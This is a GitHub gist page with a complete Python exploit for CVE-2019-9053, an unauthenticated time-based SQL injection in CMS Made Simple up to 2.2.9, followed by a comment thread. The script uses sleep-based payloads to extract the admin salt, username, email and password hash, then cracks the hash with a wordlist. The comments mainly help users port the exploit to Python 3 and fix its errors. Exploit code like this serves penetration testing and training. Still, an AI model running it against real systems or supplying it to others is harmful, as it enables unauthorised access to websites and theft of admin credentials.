Skip to content

Instantly share code, notes, and snippets.

@pdelteil
Created June 14, 2019 15:48
Show Gist options
  • Star 7 You must be signed in to star a gist
  • Fork 10 You must be signed in to fork a gist
  • Save pdelteil/6ebac2290a6fb33eea1af194485a22b1 to your computer and use it in GitHub Desktop.
Save pdelteil/6ebac2290a6fb33eea1af194485a22b1 to your computer and use it in GitHub Desktop.
CMS made simple SQL Injection
#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053
import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)
options, args = parser.parse_args()
if not options.url:
print "[+] Specify an url target"
print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
exit()
url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 2
db_name = ""
output = ""
email = ""
delay=0.5
salt = ''
wordlist = ""
if options.wordlist:
wordlist += options.wordlist
def crack_password():
global password
global output
global wordlist
global salt
dict = open(wordlist)
for line in dict.readlines():
line = line.replace("\n", "")
beautify_print_try(line)
if hashlib.md5(str(salt) + line).hexdigest() == password:
output += "\n[+] Password cracked: " + line
break
dict.close()
def beautify_print_try(value):
global output
print "\033c"
cprint(output,'green', attrs=['bold'])
cprint('[*] Try: ' + value, 'red', attrs=['bold'])
def beautify_print():
global output
print "\033c"
cprint(output,'green', attrs=['bold'])
def dump_salt():
global flag
global salt
global output
ord_salt = ""
ord_salt_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_salt = salt + dictionary[i]
ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_salt)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
time.sleep(delay)
if flag:
salt = temp_salt
ord_salt = ord_salt_temp
flag = True
output += '\n[+] Salt for password found: ' + salt
def dump_password():
global flag
global password
global output
ord_password = ""
ord_password_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_password = password + dictionary[i]
ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_password)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
time.sleep(delay)
if flag:
password = temp_password
ord_password = ord_password_temp
flag = True
output += '\n[+] Password found: ' + password
def dump_username():
global flag
global db_name
global output
ord_db_name = ""
ord_db_name_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_db_name = db_name + dictionary[i]
ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_db_name)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
time.sleep(delay)
if flag:
db_name = temp_db_name
ord_db_name = ord_db_name_temp
output += '\n[+] Username found: ' + db_name
flag = True
def dump_email():
global flag
global email
global output
ord_email = ""
ord_email_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_email = email + dictionary[i]
ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_email)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
time.sleep(delay)
if flag:
email = temp_email
ord_email = ord_email_temp
output += '\n[+] Email found: ' + email
flag = True
dump_salt()
dump_username()
dump_email()
dump_password()
if options.cracking:
print colored("[*] Now try to crack password")
crack_password()
@Babo96
Copy link

Babo96 commented May 15, 2020

Nice work!
I found a small problem in the crack_password function.

As my password list contained not only \n but also \r the script has not been able to crack the password.
I fixed the issue in a fork of your gist here:
https://gist.github.com/Babo96/860aaeaf1dd3e6cb689a3991b895af34
would be nice if you could update the gist here and maybe even the exploit db entry:
https://www.exploit-db.com/exploits/46635

keep up the good work

@pdelteil
Copy link
Author

Thanks a lot for your fork and reply.

I will update this gist, I don't know how to update it on exploit-db.

Nice work!
I found a small problem in the crack_password function.

As my password list contained not only \n but also \r the script has not been able to crack the password.
I fixed the issue in a fork of your gist here:
https://gist.github.com/Babo96/860aaeaf1dd3e6cb689a3991b895af34
would be nice if you could update the gist here and maybe even the exploit db entry:
https://www.exploit-db.com/exploits/46635

keep up the good work

@Neil-Lunavat
Copy link

Anyone got the python 3 script of this? I cant get it to work on python 2... (dont ask)

@pdelteil
Copy link
Author

pdelteil commented Apr 9, 2021

Anyone got the python 3 script of this? I cant get it to work on python 2... (dont ask)

Hello there,

You just need to make this changes

#########################################################################################

1 #!/usr/bin/env python

to

#!/usr/bin/env python3

25 print "[+] Specify an url target"
26 print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
27 print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
28 print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."

to

print("[+] Specify an url target")
print("[+] Example usage (no cracking password): exploit.py -u http://target-uri")
print("[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist")
print("[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.")

190 print colored("[*] Now try to crack password")

to

print colored("[*] Now try to crack password")

@Neil-Lunavat
Copy link

Hey! Thanks for the fast response!
(you saved me 2 hours of research 😁) really appreciate it.

@pdelteil
Copy link
Author

Hey! Thanks for the fast response!
(you saved me 2 hours of research grin) really appreciate it.

You're welcome, somebody else send me the corrections, I just posted it here.

@Tcarters
Copy link

Hi, Please what is the change you made at the line 190 cause i don't see any .

@xit4r
Copy link

xit4r commented Apr 26, 2021

Hi, Please what is the change you made at the line 190 cause i don't see any .

print(colored("[*] Now try to crack password"))
I guess this should be the change
But I would rather using python and python3 while executing this python file in your terminal.

@DigitalCorrosion
Copy link

Anyone got the python 3 script of this? I cant get it to work on python 2... (dont ask)

Hello there,

You just need to make this changes

#########################################################################################

1 #!/usr/bin/env python

to

#!/usr/bin/env python3

25 print "[+] Specify an url target"
26 print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
27 print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
28 print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."

to

print("[+] Specify an url target")
print("[+] Example usage (no cracking password): exploit.py -u http://target-uri")
print("[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist")
print("[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.")

190 print colored("[*] Now try to crack password")

to

print colored("[*] Now try to crack password")

Well I get this error after making the necessary changes:

"UnicodeDecodeError: 'utf-8' codec can't decode byte 0xf1 in position 933: invalid continuation byte"

@pdelteil
Copy link
Author

I think you should check this thread.

@foolishviper
Copy link

File "/usr/lib/python3.9/codecs.py" , line 322 ,in decode
(result, consumed)= self._buffer_decode(data, self.errors,final)
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xf1 in positon 993: invalid continuation byte

Could anyone explain, how to resolve this issue

@azzedine062
Copy link

Hi, Please what is the change you made at the line 190 cause i don't see any .

print(colored("[*] Now try to crack password"))
I guess this should be the change
But I would rather using python and python3 while executing this python file in your terminal.

Thanks Man you save me

@cybertuxh4xor
Copy link

cybertuxh4xor commented Oct 7, 2021

Here is a version in python3 that I made.
I cant get it to work though, any thoughts??
if we can get it to exploit then I can reupload to exploitdb
https://github.com/cybertuxh4xor/Python3-version-of-CMS-Made-Simple-2.2.10---SQL-Injection-

@tipotto
Copy link

tipotto commented Nov 3, 2021

Here is a version in python3 that I made. I cant get it to work though, any thoughts?? if we can get it to exploit then I can reupload to exploitdb https://github.com/cybertuxh4xor/Python3-version-of-CMS-Made-Simple-2.2.10---SQL-Injection-

I think it might be due to your internet connection. Increase the variable TIME in the code to a higher number

@KHT3R
Copy link

KHT3R commented Jan 23, 2022

I just made a new fork with the script modified for python3, hope this helps.

@jackysun10
Copy link

An error occured:
if hashlib.md5(str(salt) + line).hexdigest() == password:
TypeError: Unicode-objects must be encoded before hashing

@Schislyaev
Copy link

An error occured: if hashlib.md5(str(salt) + line).hexdigest() == password: TypeError: Unicode-objects must be encoded before hashing

same problem

@pdelteil
Copy link
Author

pdelteil commented Oct 5, 2022

You need to encode the variable line.

Change
if hashlib.md5(str(salt) + line).hexdigest() == password
to
if hashlib.md5(str(salt) + line.encode('utf-8')).hexdigest() == password

More info

@piker4f81
Copy link

Anyone got the python 3 script of this? I cant get it to work on python 2... (dont ask)

i got stuck and this what i did @@
sudo cp /usr/lib/python3/dist-packages/termcolor.py /usr/lib/python2.7/dist-packages/
it worked, lol

@razstepanyan0
Copy link

Thats works, thank you

@Karmzkomy
Copy link

This was a good explanation of the exploit, nice work!!

@nitewing9
Copy link

This was very helpful. I'm trying to learn Python myself and sometimes it gets so confusing. This really helped to clear things up. Thank you.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment